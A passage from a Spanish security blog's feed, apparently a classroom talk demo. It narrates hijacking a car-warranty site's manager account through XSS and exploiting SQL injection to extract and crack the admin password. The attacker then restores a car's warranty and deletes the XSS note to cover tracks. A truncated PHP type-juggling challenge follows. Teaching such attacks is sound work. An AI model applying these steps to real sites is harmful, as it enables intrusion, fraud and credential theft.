&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixzfft6LyffY-fcJ-79zU2dOAyJt2e1QPwrMYis3HRUzoaF3uPK49wxcQu1kvpZ5SAKvWjrSRMc3RcRf3lTojOUP9UgeT_fCQ3xtkPtsnL9Y5VRMXhdehHZ1bH3CkIO34_VqbzjWk33bs/s1600/Demo_Atk_06.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;528&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEixzfft6LyffY-fcJ-79zU2dOAyJt2e1QPwrMYis3HRUzoaF3uPK49wxcQu1kvpZ5SAKvWjrSRMc3RcRf3lTojOUP9UgeT_fCQ3xtkPtsnL9Y5VRMXhdehHZ1bH3CkIO34_VqbzjWk33bs/s640/Demo_Atk_06.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZAIK4VIj-aCx7JvT4XgGnHVkuHf1nu2VDf-GpaJ1CCZkr_-4hmWW6J3ZwvQrh_0I9PsgMuLOu59Ul0RlLOoN0aKO_UXQTPQrgfd7GdcSEluYgWAtMhvI7ULeX6kAytU2UlUL01QiuZV4/s1600/Demo_Atk_07.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;528&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZAIK4VIj-aCx7JvT4XgGnHVkuHf1nu2VDf-GpaJ1CCZkr_-4hmWW6J3ZwvQrh_0I9PsgMuLOu59Ul0RlLOoN0aKO_UXQTPQrgfd7GdcSEluYgWAtMhvI7ULeX6kAytU2UlUL01QiuZV4/s640/Demo_Atk_07.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRsOMzM-ehrdFDl-B-zVG_yUWmsyRqW8XdYY-x_eDWD_1Rwovdp3XRrhAZWDrxMFLpX7F7mza_ywqspzI2ENdou8R2nqf5VBemqYP2u2la88vnpk8H_sCgiOe6aAGCVSivLujZRFCud1o/s1600/Demo_Atk_08.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;528&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRsOMzM-ehrdFDl-B-zVG_yUWmsyRqW8XdYY-x_eDWD_1Rwovdp3XRrhAZWDrxMFLpX7F7mza_ywqspzI2ENdou8R2nqf5VBemqYP2u2la88vnpk8H_sCgiOe6aAGCVSivLujZRFCud1o/s640/Demo_Atk_08.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwSZ-aIGFk1Yz0mpjPfwKyo0Kf1wzkAh_WO06N3MO6HrTkwA1BXlpojA0L1V-OFCaJ9FufObf1GstyX0btVMjBdeqFopMFizmvAk9KNGM_gkxTYtYjm0pYmSnGXce-naddBiyY_D_3hcc/s1600/Demo_Atk_09.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;528&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiwSZ-aIGFk1Yz0mpjPfwKyo0Kf1wzkAh_WO06N3MO6HrTkwA1BXlpojA0L1V-OFCaJ9FufObf1GstyX0btVMjBdeqFopMFizmvAk9KNGM_gkxTYtYjm0pYmSnGXce-naddBiyY_D_3hcc/s640/Demo_Atk_09.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Y como por arte de magia ale, ya estamos identificados como el Encargado que leyó nuestro mensaje.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiI6eLe90O9DQ-DHvczs-a31PgG-Wjavfeqb01s02EWcdheCSX_DW6cy9aXmdDaJnIQisNliM-CShR59xFJnFqYLoo0k7H9eYjhlvx1QI6jJ4mqv132ArdGxWtu-ukq9cMawsk6g1UhoUU/s1600/Demo_Atk_10.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;528&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiI6eLe90O9DQ-DHvczs-a31PgG-Wjavfeqb01s02EWcdheCSX_DW6cy9aXmdDaJnIQisNliM-CShR59xFJnFqYLoo0k7H9eYjhlvx1QI6jJ4mqv132ArdGxWtu-ukq9cMawsk6g1UhoUU/s640/Demo_Atk_10.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Navegamos un poco por la web, y llegamos a la vista de un taller en particular, en el cual vemos algo curioso en la barra de navegación, se puede ver el id de ese taller... ¿qué pasaría si....?&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJdxyi4LpbKOJxG-P6Mr2wvt295VnyxifihCngL-XytcQpeyA5lHmbesXttUCyJFeQcipcpB33WqC2cL6RqqbfAY7f3qr6KsCv0gRDawgu-ts0GB03sEhyX7A23XDLV0JMkV8Ftv924hg/s1600/Demo_Atk_11.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;528&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJdxyi4LpbKOJxG-P6Mr2wvt295VnyxifihCngL-XytcQpeyA5lHmbesXttUCyJFeQcipcpB33WqC2cL6RqqbfAY7f3qr6KsCv0gRDawgu-ts0GB03sEhyX7A23XDLV0JMkV8Ftv924hg/s640/Demo_Atk_11.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigaFWDshu_w81KHxuViRsqOJOnrpHQUuFkJEMWd30ZgIGpKZGEoZfaZHTaQZErj6mELGDKDw_DfDnd3JdhlCUP4nha2XWFtiV__wxqkDBxP4-r1bEzveHFHnyIKaaqW7t_i1SEAOGVVMM/s1600/Demo_Atk_12.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;528&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigaFWDshu_w81KHxuViRsqOJOnrpHQUuFkJEMWd30ZgIGpKZGEoZfaZHTaQZErj6mELGDKDw_DfDnd3JdhlCUP4nha2XWFtiV__wxqkDBxP4-r1bEzveHFHnyIKaaqW7t_i1SEAOGVVMM/s640/Demo_Atk_12.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Efectivamente, si agregamos una comilla simple al parámetro Id, la bbdd casca y para nuestra sorpresa nos muestra que tiene un error y nos enseña la sentencia SQL fallida!! xD Vamos más fácil no nos lo pueden poner, vamos a conseguir una sentencia SELECT válida y a jugar :D&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKjXll_TV2qRQAp45w0FAt93582c4PeJwBMNKrvcK3kcp0tBbeuKuF_UKlK3TpRt0P_qQQ6ktdM3fctlvAPbKxNpRZwOmGrp1xmoAvH2kvJGtHQLcbp7ZlFZi_ypmcBu8AQ1g1jqQKVxA/s1600/Demo_Atk_13.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;528&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKjXll_TV2qRQAp45w0FAt93582c4PeJwBMNKrvcK3kcp0tBbeuKuF_UKlK3TpRt0P_qQQ6ktdM3fctlvAPbKxNpRZwOmGrp1xmoAvH2kvJGtHQLcbp7ZlFZi_ypmcBu8AQ1g1jqQKVxA/s640/Demo_Atk_13.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Primero mostramos números por pantalla, para saber en qué posición tenemos que poner los datos que queremos ver, para que se muestren...&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHgvzZmV22MlBsoWo2g9krvp5XofHbwtByZ7IUiwSVjrpz1TCT50E1xisAqB9YlBamGSxEMbHx1W1NFWxb20jfBzBStKws3rcdcU9RIeWhBUhY90DPF_Btrlm6U_IpWajIAUIoKC49Dt8/s1600/Demo_Atk_14.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;528&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhHgvzZmV22MlBsoWo2g9krvp5XofHbwtByZ7IUiwSVjrpz1TCT50E1xisAqB9YlBamGSxEMbHx1W1NFWxb20jfBzBStKws3rcdcU9RIeWhBUhY90DPF_Btrlm6U_IpWajIAUIoKC49Dt8/s640/Demo_Atk_14.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Ahora le pedimos que nos diga como se llama la base de datos de la aplicación&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaiWYzH_-QWhvBbjtVEffHZQaWx7bnuPI145GQVWeRsAbz9P-uTtVD9LTazeuZ0OXMvnjXcE2Mu35aweh7DmBHDeTJ52psZklFDGQZjus41pryP8l3jFRrUvSABs_wD7MORueiOYWmdxc/s1600/Demo_Atk_15.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;528&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaiWYzH_-QWhvBbjtVEffHZQaWx7bnuPI145GQVWeRsAbz9P-uTtVD9LTazeuZ0OXMvnjXcE2Mu35aweh7DmBHDeTJ52psZklFDGQZjus41pryP8l3jFRrUvSABs_wD7MORueiOYWmdxc/s640/Demo_Atk_15.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Vale, ya sabemos que la base de datos se llama &quot;garantias&quot;. Ahora vamos a extraer los nombres de todas las tablas, la que nos interesa es la de usuarios y de esa los nombres de sus columnas, para conseguir la contraseña de Administrador y así poder editar lo datos del coche, ya que con el encargado no nos permite esa acción.&lt;br /&gt;
&lt;br /&gt;
(Nombres de las Tablas)&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOvEB9zckU4DGWBrEpyVlc4e9l9bBsGHsAvaG7V7O3HBRtyKZxO6YABxBaZ-5Z9h2N0XTjOoGVjG_zGkFDubgdisv0-XPFGhiQVVKQ7IxoCTMqkOIMwoiClxWTwi8IuCk2L2b5Qz4IeRA/s1600/Demo_Atk_16.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;528&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOvEB9zckU4DGWBrEpyVlc4e9l9bBsGHsAvaG7V7O3HBRtyKZxO6YABxBaZ-5Z9h2N0XTjOoGVjG_zGkFDubgdisv0-XPFGhiQVVKQ7IxoCTMqkOIMwoiClxWTwi8IuCk2L2b5Qz4IeRA/s640/Demo_Atk_16.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
(Nombre de las columnas de la tabla Usuarios)&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAafM0kJH1vOFEVJnagnUzSc6SKH9NglDrSt_7oJJ1pfryGepVL8UXIax5Gayv3s-PVYRWMk2VuXXoXHp5_zPyhCZ7QySmJQQRPtPUJhlBLkwoPBBz-Znb2clb3rDuwIjlRMcz3C6H_lE/s1600/Demo_Atk_17.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;528&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjAafM0kJH1vOFEVJnagnUzSc6SKH9NglDrSt_7oJJ1pfryGepVL8UXIax5Gayv3s-PVYRWMk2VuXXoXHp5_zPyhCZ7QySmJQQRPtPUJhlBLkwoPBBz-Znb2clb3rDuwIjlRMcz3C6H_lE/s640/Demo_Atk_17.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Y ahora generamos la consulta válida para que nos muestre el nombre de usuario con nombre parecido a &quot;%dmin% que en principio debería de ser el A&quot;dmin&quot;istrador, aunque en este caso es el nombre exacto es AdministradorGeneral.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4brNjiQgmXr0gH8o9EItiQ4C9svLtGgPCkinSTkchJR181Xd8FZU-gLyLkXXDhRMUmmRhgzn__h0QRQLgzhyphenhyphenadsD1RqUaxyLX5tkSeUqgnHCm8X0BcpVeuxDg9WIj2rkrzjU_qp3O-0o/s1600/Demo_Atk_18.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;528&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh4brNjiQgmXr0gH8o9EItiQ4C9svLtGgPCkinSTkchJR181Xd8FZU-gLyLkXXDhRMUmmRhgzn__h0QRQLgzhyphenhyphenadsD1RqUaxyLX5tkSeUqgnHCm8X0BcpVeuxDg9WIj2rkrzjU_qp3O-0o/s640/Demo_Atk_18.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ahora nos vamos a google buscamos por &quot;md5 crack&quot; para ver si la password está ya crackeada en alguno de los servicios online que disponemos.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIX77ldjKfHMj-9osbGRjfI24CXiP6K7G57yHPfNZW1ok4PdeWdYC2IYWD2FYWCmwJmvtPFtEltIhapOGcDFM-BQmK0kHjvvaO082s398Vx6WTLZq_uXCWJi71DsQl6t8-hFsCApU2RAE/s1600/Demo_Atk_19.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;528&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIX77ldjKfHMj-9osbGRjfI24CXiP6K7G57yHPfNZW1ok4PdeWdYC2IYWD2FYWCmwJmvtPFtEltIhapOGcDFM-BQmK0kHjvvaO082s398Vx6WTLZq_uXCWJi71DsQl6t8-hFsCApU2RAE/s640/Demo_Atk_19.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Y efectivamente, vemos un resultado, la contraseña es &quot;Admin12&quot;, esta web lo tiene todo! XSS, SQLi, Contraseñas sin salt, muestran los errores de la base de datos...&lt;br /&gt;
&lt;br /&gt;
En fin... pues nada ya que tenemos todos los datos, vamos a entrar hasta la cocina, servirnos un café, limpiarlo todo y para casa ;)&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTTHtC83zM0AIF4oF7q_aS85J_DS4EV4bgnTraFjrHN85Slpe4Ef5BILXgR7vWAbcOswUqbIBEmfwL43PeRdTqsw3wlpXMKgQKqoI5Yz2qr0iUthc4W8PPQ6DqDQf263ARKLUP_n16N4M/s1600/Demo_Atk_20.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;528&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjTTHtC83zM0AIF4oF7q_aS85J_DS4EV4bgnTraFjrHN85Slpe4Ef5BILXgR7vWAbcOswUqbIBEmfwL43PeRdTqsw3wlpXMKgQKqoI5Yz2qr0iUthc4W8PPQ6DqDQf263ARKLUP_n16N4M/s640/Demo_Atk_20.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKMETGg4ClYvrLZmff-9qoz6esbirmmYzo7b_yWe90Wm10G4fvdalk__FcpafaGEpirbZrl_R-z0e4fZp8rD6zm305e2h3wSXVmfsnQmK0lj3ZsMui-qx9-FbUp7m7CDYosyehq0mV4dU/s1600/Demo_Atk_21.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;528&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKMETGg4ClYvrLZmff-9qoz6esbirmmYzo7b_yWe90Wm10G4fvdalk__FcpafaGEpirbZrl_R-z0e4fZp8rD6zm305e2h3wSXVmfsnQmK0lj3ZsMui-qx9-FbUp7m7CDYosyehq0mV4dU/s640/Demo_Atk_21.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoPuGN3uABlV20mMPDLPbOIOHjaDKerz3357RXx7Uj6UFWM_OTQX4nVw49Aj9Y19_9C245q2rM21XrBATlJUPsPGthGOrXzTuaE_V9vroK2lTP1TSOj0yo6UfZ3ZYTpAfE5jkjt30qvP8/s1600/Demo_Atk_22.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;528&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjoPuGN3uABlV20mMPDLPbOIOHjaDKerz3357RXx7Uj6UFWM_OTQX4nVw49Aj9Y19_9C245q2rM21XrBATlJUPsPGthGOrXzTuaE_V9vroK2lTP1TSOj0yo6UfZ3ZYTpAfE5jkjt30qvP8/s640/Demo_Atk_22.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqe6OczQw2GW5cHlZnqrkiCyF9ENVpJQY-_183GLpw8jXPhHgUJJ2E6mcXC_YYXq4Um5w3NmBOEMikvhRToXzvId1D1jJ9S162E79aJRGezZd3UKKI05PVPKXOCz9oL5VFB4_xU4viAck/s1600/Demo_Atk_23.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;528&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiqe6OczQw2GW5cHlZnqrkiCyF9ENVpJQY-_183GLpw8jXPhHgUJJ2E6mcXC_YYXq4Um5w3NmBOEMikvhRToXzvId1D1jJ9S162E79aJRGezZd3UKKI05PVPKXOCz9oL5VFB4_xU4viAck/s640/Demo_Atk_23.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRVMhOvLAsYs0wx7A_XlNTQDhuAgtS5nAVtcSBmC_N8BtkjjTJUQU7t71pSzf_v33OVEgjqpLIuzBkAUb_K_AfZkWmGG7wXJPLyoA4_RylKDZWc_JFRW4U_5JmRwrb_tzkk2P72m5PqYY/s1600/Demo_Atk_24.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;528&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjRVMhOvLAsYs0wx7A_XlNTQDhuAgtS5nAVtcSBmC_N8BtkjjTJUQU7t71pSzf_v33OVEgjqpLIuzBkAUb_K_AfZkWmGG7wXJPLyoA4_RylKDZWc_JFRW4U_5JmRwrb_tzkk2P72m5PqYY/s640/Demo_Atk_24.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvp2C4bnAGjpQc9G_cylAw1Ni3NWz7a0yTn5qI6EiDaSi5fKM-hjukzOWcnKb5roZygmli5QpqNEwTc0jeAvsGAc0G0azKSXMYvZEtaN3tjpiMud4FU27hVJCVFJ4WrjQPsKwTFbTfkxo/s1600/Demo_Atk_25.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;528&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvp2C4bnAGjpQc9G_cylAw1Ni3NWz7a0yTn5qI6EiDaSi5fKM-hjukzOWcnKb5roZygmli5QpqNEwTc0jeAvsGAc0G0azKSXMYvZEtaN3tjpiMud4FU27hVJCVFJ4WrjQPsKwTFbTfkxo/s640/Demo_Atk_25.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmdHskBqQP8DkLCy3aX65SefkfVKMz_D2jCjvTDn6iPn6MHSCitsGO9U_QhzCssLBm-JpoX-_WhFdv1DjGj7P2hMjKCp_O5tjLXDfHztr3legCa4Um797va_yy4MQXg1ihYIw2EyGDH2g/s1600/Demo_Atk_26.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;528&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmdHskBqQP8DkLCy3aX65SefkfVKMz_D2jCjvTDn6iPn6MHSCitsGO9U_QhzCssLBm-JpoX-_WhFdv1DjGj7P2hMjKCp_O5tjLXDfHztr3legCa4Um797va_yy4MQXg1ihYIw2EyGDH2g/s640/Demo_Atk_26.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Eliminamos la nota que le enviamos con ese código XSS para que no quede rastro demasiado evidente...&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7sbBkak9k47ExrqbyQ_0ukhEmxdrOEBfgIjXZzAyLxJtKuKijzO37pz6hcQW_xnT01Ay0J-mY816Nd_ZbMTLzB45VaeBW3f07zMY0yaw0Yyf-4xzZQngFtAMfTkdxm9ZudJvuH4DFIwM/s1600/Demo_Atk_27.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;528&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh7sbBkak9k47ExrqbyQ_0ukhEmxdrOEBfgIjXZzAyLxJtKuKijzO37pz6hcQW_xnT01Ay0J-mY816Nd_ZbMTLzB45VaeBW3f07zMY0yaw0Yyf-4xzZQngFtAMfTkdxm9ZudJvuH4DFIwM/s640/Demo_Atk_27.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Y como podemos ver en la captura, nuestro coche vuelve a estar en Garantía... ahora esperar y volver a ponernos en contacto para que nos lo arreglen jijijiji&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0hdWDViBPdvKM-wVRNhEydNmPjL0lwjRquSC7BijAa-C7w-JODlqidNm_aNR0jvYmN3j3hxil7PaoGq6dPk-aNKzD64dil5bNHkDiF9tkRcG4dN132BkdQQoZus7dn6IKqzE-T-9Whns/s1600/Demo_Atk_28.png&quot; imageanchor=&quot;1&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;528&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0hdWDViBPdvKM-wVRNhEydNmPjL0lwjRquSC7BijAa-C7w-JODlqidNm_aNR0jvYmN3j3hxil7PaoGq6dPk-aNKzD64dil5bNHkDiF9tkRcG4dN132BkdQQoZus7dn6IKqzE-T-9Whns/s640/Demo_Atk_28.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Bueno, lo prometido era deuda jejeje, y como se dice en mi familia Un Romero siempre tiene deudas... digo... un Lánister siempre paga sus deudas xD&lt;br /&gt;
&lt;br /&gt;
Un saludete, espero que os haya gustado, si hay alguna duda ya sabéis como poneos en contacto conmigo un abrazo!!</content><link rel='replies' type='application/atom+xml' href='http://s3ik0tr0n.blogspot.com/feeds/8072774802953188011/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://s3ik0tr0n.blogspot.com/2016/03/ponencias-ies-virgen-de-la-paloma.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/8072774802953188011'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1266026171270080387/posts/default/8072774802953188011'/><link rel='alternate' type='text/html' href='http://s3ik0tr0n.blogspot.com/2016/03/ponencias-ies-virgen-de-la-paloma.html' title='Ponencias IES Virgen de la Paloma'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/08878268745400136737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCzt7xx0mPkmYZQebWKFgDtDJFC71Kx1C5bQ4OSUBMKSFtCBoCw2vdm5kOFWr7fbaH4ly55sv5N4KA3NonhYcRDqRCuhjP6vw4rdXtOpqxbrCVJu0SLIRRrma0OL9OzJ9ty_iG_57034U/s72-c/Demo_Atk_01.png" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1266026171270080387.post-7383089699509024634</id><published>2013-10-29T11:28:00.000+01:00</published><updated>2013-10-29T11:28:00.131+01:00</updated><title type='text'>Un reto para mentes abiertas!</title><content type='html'>&lt;br /&gt;
Muy buenas gentecilla!&lt;br /&gt;
&lt;br /&gt;
Estoy por aquí de vuelta, después de unas jornadas GSickMinds super interesantes, mi &quot;espiritu juanker&quot; despierta de nuevo y que mejor forma que proponeos un retillo.&lt;br /&gt;
&lt;br /&gt;
Este reto se lo propuse a un compañero de mi FP con la premisa de que si lo resolvía le enseñaría lo poco que sé, tras un día intentándolo se ha rendido y me ha pedido solución por el bien de su salud (por lo visto se ha pasado toda la noche sin dormir intentándolo xD)&lt;br /&gt;
&lt;br /&gt;
Para resolver este reto vais a necesitar (aunque no necesariamente):&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Servidor Apache + PHP&lt;/li&gt;
&lt;li&gt;Mente abierta&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
Digo que no es necesario por que si sabes la respuesta no te hace falta hacer pruebas, pero lo mejor es montarte un servidor que pueda ejecutar código php e intentes solucionar el reto.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Para pasar la prueba os dejo el código fuente, simplemente tenéis que copiarlo a un fichero .php y ejecutarlo de la siguiente manera: nombrefichero.php?a=1&amp;amp;b=1&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
La prueba consiste en sacar de alguna manera (sin modificar nada del fichero evidentemente) la frase: You Rox Baby!&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;
&amp;lt;?php&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;if(isset($_GET[&#39;a&#39;]) &amp;amp;&amp;amp; isset($_GET[&#39;b&#39;])){&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;if(gettype($_GET[&#39;a&#39;]) === gettype($_GET[&#39;b&#39;])){&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;echo &quot;paco&quot;;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;}&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;else{&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;   &lt;/span&gt;echo &quot;You Rox Baby!&quot;;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;  &lt;/span&gt;}&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;}&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;else{&lt;/div&gt;
&lt;div&gt;
